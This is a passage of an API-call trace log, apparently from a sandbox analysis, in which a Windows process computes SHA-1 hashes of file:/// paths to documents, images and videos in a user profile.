[0079.831] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.831] wcslen (_String="file:///c:/users/atveydl98z/documents/vakuflq4t/6%20%20ld0epzn54nf6f62.pdf/") returned 0x4b
[0079.831] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x98, dwFlags=0x0) returned 1
[0079.831] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.831] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.831] wcslen (_String="file:///c:/users/atveydl98z/desktop/vfr7mwb/po5dzd.png") returned 0x36
[0079.831] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.831] wcslen (_String="file:///c:/users/atveydl98z/desktop/vfr7mwb/po5dzd.png") returned 0x36
[0079.831] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x6e, dwFlags=0x0) returned 1
[0079.831] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.831] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.831] wcslen (_String="file:///c:/users/atveydl98z/desktop/vfr7mwb/po5dzd.png") returned 0x36
[0079.831] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.832] wcslen (_String="file:///c:/users/atveydl98z/desktop/vfr7mwb/po5dzd.png/") returned 0x37
[0079.832] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x70, dwFlags=0x0) returned 1
[0079.832] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.832] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.832] wcslen (_String="file:///c:/users/atveydl98z/desktop/n85nf82ijuqriwibubvc/gfs_u1.bmp") returned 0x43
[0079.832] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.832] wcslen (_String="file:///c:/users/atveydl98z/desktop/n85nf82ijuqriwibubvc/gfs_u1.bmp") returned 0x43
[0079.832] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x88, dwFlags=0x0) returned 1
[0079.832] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.832] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.832] wcslen (_String="file:///c:/users/atveydl98z/desktop/n85nf82ijuqriwibubvc/gfs_u1.bmp") returned 0x43
[0079.832] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.832] wcslen (_String="file:///c:/users/atveydl98z/desktop/n85nf82ijuqriwibubvc/gfs_u1.bmp/") returned 0x44
[0079.832] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x8a, dwFlags=0x0) returned 1
[0079.832] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.832] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.832] wcslen (_String="file:///c:/users/atveydl98z/appdata/roaming/qffjmw5qb0hkk.odp") returned 0x3d
[0079.832] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.832] wcslen (_String="file:///c:/users/atveydl98z/appdata/roaming/qffjmw5qb0hkk.odp") returned 0x3d
[0079.832] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7c, dwFlags=0x0) returned 1
[0079.832] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.832] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.832] wcslen (_String="file:///c:/users/atveydl98z/appdata/roaming/qffjmw5qb0hkk.odp") returned 0x3d
[0079.832] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.832] wcslen (_String="file:///c:/users/atveydl98z/appdata/roaming/qffjmw5qb0hkk.odp/") returned 0x3e
[0079.832] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7e, dwFlags=0x0) returned 1
[0079.832] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.833] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.833] wcslen (_String="file:///c:/users/atveydl98z/pictures/eqeagiu6sfywa.gif") returned 0x36
[0079.833] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.833] wcslen (_String="file:///c:/users/atveydl98z/pictures/eqeagiu6sfywa.gif") returned 0x36
[0079.833] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x6e, dwFlags=0x0) returned 1
[0079.833] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.833] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.833] wcslen (_String="file:///c:/users/atveydl98z/pictures/eqeagiu6sfywa.gif") returned 0x36
[0079.833] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.833] wcslen (_String="file:///c:/users/atveydl98z/pictures/eqeagiu6sfywa.gif/") returned 0x37
[0079.833] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x70, dwFlags=0x0) returned 1
[0079.833] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.833] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.833] wcslen (_String="file:///c:/users/atveydl98z/desktop/numnzhof36r.png") returned 0x33
[0079.833] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.833] wcslen (_String="file:///c:/users/atveydl98z/desktop/numnzhof36r.png") returned 0x33
[0079.833] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x68, dwFlags=0x0) returned 1
[0079.833] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.833] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.833] wcslen (_String="file:///c:/users/atveydl98z/desktop/numnzhof36r.png") returned 0x33
[0079.833] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.833] wcslen (_String="file:///c:/users/atveydl98z/desktop/numnzhof36r.png/") returned 0x34
[0079.833] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x6a, dwFlags=0x0) returned 1
[0079.833] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.833] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.834] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/o0jasu4fw456esf.gif") returned 0x47
[0079.834] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.834] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/o0jasu4fw456esf.gif") returned 0x47
[0079.834] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x90, dwFlags=0x0) returned 1
[0079.834] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.834] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.834] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/o0jasu4fw456esf.gif") returned 0x47
[0079.834] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.834] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/o0jasu4fw456esf.gif/") returned 0x48
[0079.834] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x92, dwFlags=0x0) returned 1
[0079.834] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.834] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.834] wcslen (_String="file:///c:/users/atveydl98z/videos/auchwaavvk9r/mpvc3rk.swf") returned 0x3b
[0079.834] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.834] wcslen (_String="file:///c:/users/atveydl98z/videos/auchwaavvk9r/mpvc3rk.swf") returned 0x3b
[0079.834] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x78, dwFlags=0x0) returned 1
[0079.834] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.834] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.834] wcslen (_String="file:///c:/users/atveydl98z/videos/auchwaavvk9r/mpvc3rk.swf") returned 0x3b
[0079.834] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.834] wcslen (_String="file:///c:/users/atveydl98z/videos/auchwaavvk9r/mpvc3rk.swf/") returned 0x3c
[0079.834] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7a, dwFlags=0x0) returned 1
[0079.834] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.834] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.834] wcslen (_String="file:///c:/users/atveydl98z/desktop/n85nf82ijuqriwibubvc/dxoeo.jpg") returned 0x42
[0079.834] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.835] wcslen (_String="file:///c:/users/atveydl98z/desktop/n85nf82ijuqriwibubvc/dxoeo.jpg") returned 0x42
[0079.835] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x86, dwFlags=0x0) returned 1
[0079.835] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.835] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.835] wcslen (_String="file:///c:/users/atveydl98z/desktop/n85nf82ijuqriwibubvc/dxoeo.jpg") returned 0x42
[0079.835] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.835] wcslen (_String="file:///c:/users/atveydl98z/desktop/n85nf82ijuqriwibubvc/dxoeo.jpg/") returned 0x43
[0079.835] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x88, dwFlags=0x0) returned 1
[0079.835] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.835] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.835] wcslen (_String="file:///c:/users/atveydl98z/documents/vakuflq4t/j0tfq.pptx") returned 0x3a
[0079.835] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.835] wcslen (_String="file:///c:/users/atveydl98z/documents/vakuflq4t/j0tfq.pptx") returned 0x3a
[0079.835] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x76, dwFlags=0x0) returned 1
[0079.835] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.835] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.835] wcslen (_String="file:///c:/users/atveydl98z/documents/vakuflq4t/j0tfq.pptx") returned 0x3a
[0079.835] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.835] wcslen (_String="file:///c:/users/atveydl98z/documents/vakuflq4t/j0tfq.pptx/") returned 0x3b
[0079.835] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x78, dwFlags=0x0) returned 1
[0079.835] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.835] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.835] wcslen (_String="file:///c:/users/atveydl98z/pictures/gfqdbs7ski.jpg") returned 0x33
[0079.835] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.836] wcslen (_String="file:///c:/users/atveydl98z/pictures/gfqdbs7ski.jpg") returned 0x33
[0079.836] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x68, dwFlags=0x0) returned 1
[0079.836] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.836] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.836] wcslen (_String="file:///c:/users/atveydl98z/pictures/gfqdbs7ski.jpg") returned 0x33
[0079.836] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.836] wcslen (_String="file:///c:/users/atveydl98z/pictures/gfqdbs7ski.jpg/") returned 0x34
[0079.836] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x6a, dwFlags=0x0) returned 1
[0079.836] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.836] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.836] wcslen (_String="file:///c:/users/atveydl98z/documents/tghk.docx") returned 0x2f
[0079.836] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.836] wcslen (_String="file:///c:/users/atveydl98z/documents/tghk.docx") returned 0x2f
[0079.836] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x60, dwFlags=0x0) returned 1
[0079.836] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.836] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.836] wcslen (_String="file:///c:/users/atveydl98z/documents/tghk.docx") returned 0x2f
[0079.836] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.836] wcslen (_String="file:///c:/users/atveydl98z/documents/tghk.docx/") returned 0x30
[0079.836] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x62, dwFlags=0x0) returned 1
[0079.836] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.836] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.836] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png") returned 0x4e
[0079.836] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.836] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png") returned 0x4e
[0079.836] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x9e, dwFlags=0x0) returned 1
[0079.836] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.837] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.837] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png") returned 0x4e
[0079.837] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.837] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png/") returned 0x4f
[0079.837] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0xa0, dwFlags=0x0) returned 1
[0079.837] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.837] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.837] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hgxqnnq3mleakolmso.jpg") returned 0x5a
[0079.837] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.837] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hgxqnnq3mleakolmso.jpg") returned 0x5a
[0079.837] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0xb6, dwFlags=0x0) returned 1
[0079.837] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.837] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.837] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hgxqnnq3mleakolmso.jpg") returned 0x5a
[0079.837] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.837] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hgxqnnq3mleakolmso.jpg/") returned 0x5b
[0079.837] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0xb8, dwFlags=0x0) returned 1
[0079.837] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.837] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.837] wcslen (_String="file:///c:/users/atveydl98z/documents/g7ihxxpwmul67ynxwjuy.odp") returned 0x3e
[0079.837] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.837] wcslen (_String="file:///c:/users/atveydl98z/documents/g7ihxxpwmul67ynxwjuy.odp") returned 0x3e
[0079.837] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7e, dwFlags=0x0) returned 1
[0079.837] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.837] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.837] wcslen (_String="file:///c:/users/atveydl98z/documents/g7ihxxpwmul67ynxwjuy.odp") returned 0x3e
[0079.838] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.838] wcslen (_String="file:///c:/users/atveydl98z/documents/g7ihxxpwmul67ynxwjuy.odp/") returned 0x3f
[0079.838] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x80, dwFlags=0x0) returned 1
[0079.838] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.838] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.838] wcslen (_String="file:///c:/users/atveydl98z/desktop/ihug/t1qoetz4ekzwcx.pps") returned 0x3b
[0079.838] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.838] wcslen (_String="file:///c:/users/atveydl98z/desktop/ihug/t1qoetz4ekzwcx.pps") returned 0x3b
[0079.838] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x78, dwFlags=0x0) returned 1
[0079.838] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.838] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.838] wcslen (_String="file:///c:/users/atveydl98z/desktop/ihug/t1qoetz4ekzwcx.pps") returned 0x3b
[0079.838] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.838] wcslen (_String="file:///c:/users/atveydl98z/desktop/ihug/t1qoetz4ekzwcx.pps/") returned 0x3c
[0079.838] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7a, dwFlags=0x0) returned 1
[0079.838] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.838] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.838] wcslen (_String="file:///c:/users/atveydl98z/videos/auchwaavvk9r/-hs5z7.mkv") returned 0x3a
[0079.838] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.838] wcslen (_String="file:///c:/users/atveydl98z/videos/auchwaavvk9r/-hs5z7.mkv") returned 0x3a
[0079.838] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x76, dwFlags=0x0) returned 1
[0079.838] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.840] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.840] wcslen (_String="file:///c:/users/atveydl98z/videos/auchwaavvk9r/-hs5z7.mkv") returned 0x3a
[0079.840] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.840] wcslen (_String="file:///c:/users/atveydl98z/videos/auchwaavvk9r/-hs5z7.mkv/") returned 0x3b
[0079.840] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x78, dwFlags=0x0) returned 1
[0079.840] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.840] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.840] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/jfci.jpg") returned 0x3c
[0079.840] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.840] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/jfci.jpg") returned 0x3c
[0079.840] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7a, dwFlags=0x0) returned 1
[0079.840] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.840] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.840] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/jfci.jpg") returned 0x3c
[0079.840] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.840] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/jfci.jpg/") returned 0x3d
[0079.840] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7c, dwFlags=0x0) returned 1
[0079.840] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.840] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.840] wcslen (_String="file:///c:/users/atveydl98z/desktop/4%20u_4u6ls4.ods") returned 0x34
[0079.840] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.840] wcslen (_String="file:///c:/users/atveydl98z/desktop/4%20u_4u6ls4.ods") returned 0x34
[0079.840] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x6a, dwFlags=0x0) returned 1
[0079.840] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.840] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.841] wcslen (_String="file:///c:/users/atveydl98z/desktop/4%20u_4u6ls4.ods") returned 0x34
[0079.841] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.841] wcslen (_String="file:///c:/users/atveydl98z/desktop/4%20u_4u6ls4.ods/") returned 0x35
[0079.841] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x6c, dwFlags=0x0) returned 1
